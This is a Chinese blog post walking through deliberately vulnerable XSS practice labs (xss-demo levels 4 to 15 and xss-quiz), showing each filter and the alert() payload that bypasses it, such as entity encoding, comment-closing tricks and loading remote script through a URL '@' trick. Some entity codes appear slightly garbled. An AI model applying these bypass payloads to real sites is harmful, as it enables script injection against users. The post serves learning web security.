沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

关于XSS的补充

0x00 前言


闲着也是闲着,就找几个靶场来测测基本功,结果才过几关就卡住了….本篇包含以下元素:

  • 各种XSS靶场中让我卡住的地方
  • 新的思考

事实证明,即使学过的漏洞,也还是会有很多姿势你没掌握。温故而知新?虽然这些姿势根本就没有会过😋

0x01 是什么蒙蔽了我的双眼?


image-20211008152959969

xss-demo 第四关

haozi/xss-demo 源码

在线版

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

过滤了圆括号和反引号,但是我居然忘了还能html编码….Payload如下:

#alert`1`,写成96的时候,莫名奇妙的被渲染了
<img src=x onerror='&#97;&#108;&#101;&#114;&#116;&#九十六;&#49;&#九十六;'>

HTML字符实体转换,网页字符实体编码 (qqxiuzi.cn)

xss-demo 第五关

菜的扣脚….居然又被卡住了

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

学到了另一种注释的方法:

<!--xss-->
<!--xss--!>

所以payload为:

--!><script>alert`1`</script><!--

xss-demo 第六关

没卡住, 但是感觉值得记录一下

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

想到了换行,但是不知道怎么在input里触发onerror,当然你用别的onclick之类也是可以的,这里只是记录一下:

<input value=1 type=image src onerror
=alert(1) type="text">

使用type,指定为image就可以像img标签一样的去触发了

xss-demo 第七关

…理所当然的卡住了

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

正则的意思是匹配<非大于号内容>或</非大于号内容>,注意到这里的^表示取反。Payload为:

<article><img src=x onerror="alert`1`"</article>

没闭合居然也可以被渲染,原因不明…好像也只能在article里

xss-demo 第十关

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ''')
            .replace(/"/g, '"')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

必须以http(s)://www.segmentfault.com开头, 但是没限制结尾,但是这里又进行了实体编码的替换,好像也没办法闭合…有个小技巧是,当使用https://xxx.com@chenlvtang.top的时候,会直接访问最后的chenlvtang.top(另外一个小技巧是,访问https://xxx.com.chenlvtang.top也会访问chenlvtang.top,但是试了一下,只在搜索栏有用,对src没用),所以我们可以用xxx.com@chenlvtang.top/hacker.js的形式,来引入恶意的js,其内容为:

alert`1` 
//something else

在火狐中是可以成功执行的,但是在使用谷歌内核的浏览器并没有成功执行,在控制台中告诉了我们原因:

image-20211008200901446

xss-demo 第十一关

没把我难住😋,但还是记录一下

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

把输入全部转为大写,一开始天真的以为alert变成ALERT没事,结果真就不能执行,但是很快的想到了使用编码绕过捏😋,我这里使用的是使用svg加上HTML实体编码:

<svg><SCRIPT>&#97;&#108;&#101;&#114;&#116;&#九十六;&#49;&#九十六;</SCRIPT></svg>

xss-demo 第十三关

…又

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

很自然的可以想到,换行绕过注释符号,但是又过滤了单引号,所以最后这里无法闭合,会导致语法错误而无法成功执行,而反斜杠也过滤了,不能注释,但是这里又有一个小技巧捏(麻了):可以使用-->来注释(但是要注意不要和script标签同一行),之前从来没见过,所以这里的payload为:

<script>
          // alert('
onerror=alert`1`
-->')
    </script>

xss-demo 第十四关

低情商: 菜狗;高情商:靶场质量很高。

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

一开始尝试了< script>想绕过,发现无法解析…然后就没有然后了,直接看答案: ſ 古英语中的s的写法, 转成大写是正常的s。🐂所以我们改一下之前svg的payload:

<ſvg><ſCRIPT>&#97;&#108;&#101;&#114;&#116;&#九十六;&#49;&#九十六;</SCRIPT></svg>

xss-demo 第十五关

这一关居然没用平滑的做出来,服了自己

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ''')
            .replace(/"/g, '"')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

因为html实体转码后,还是在html标签中,所以即使转码成html实体后也同样不影响执行,所以其实这里的payload很简单,只要闭合就行了:

1');alert(1);//

xss-quiz Stage #3

https://xss-quiz.int21h.jp/

搞了半天也没成功,看了别人的才知道,居然要抓包,又学到了新的姿势捏。这一关长这样:

image-20211009145539318

输入框测了半天,没有发现漏洞,就只有第二个选择国家的列表了,抓包修改:

image-20211009151147400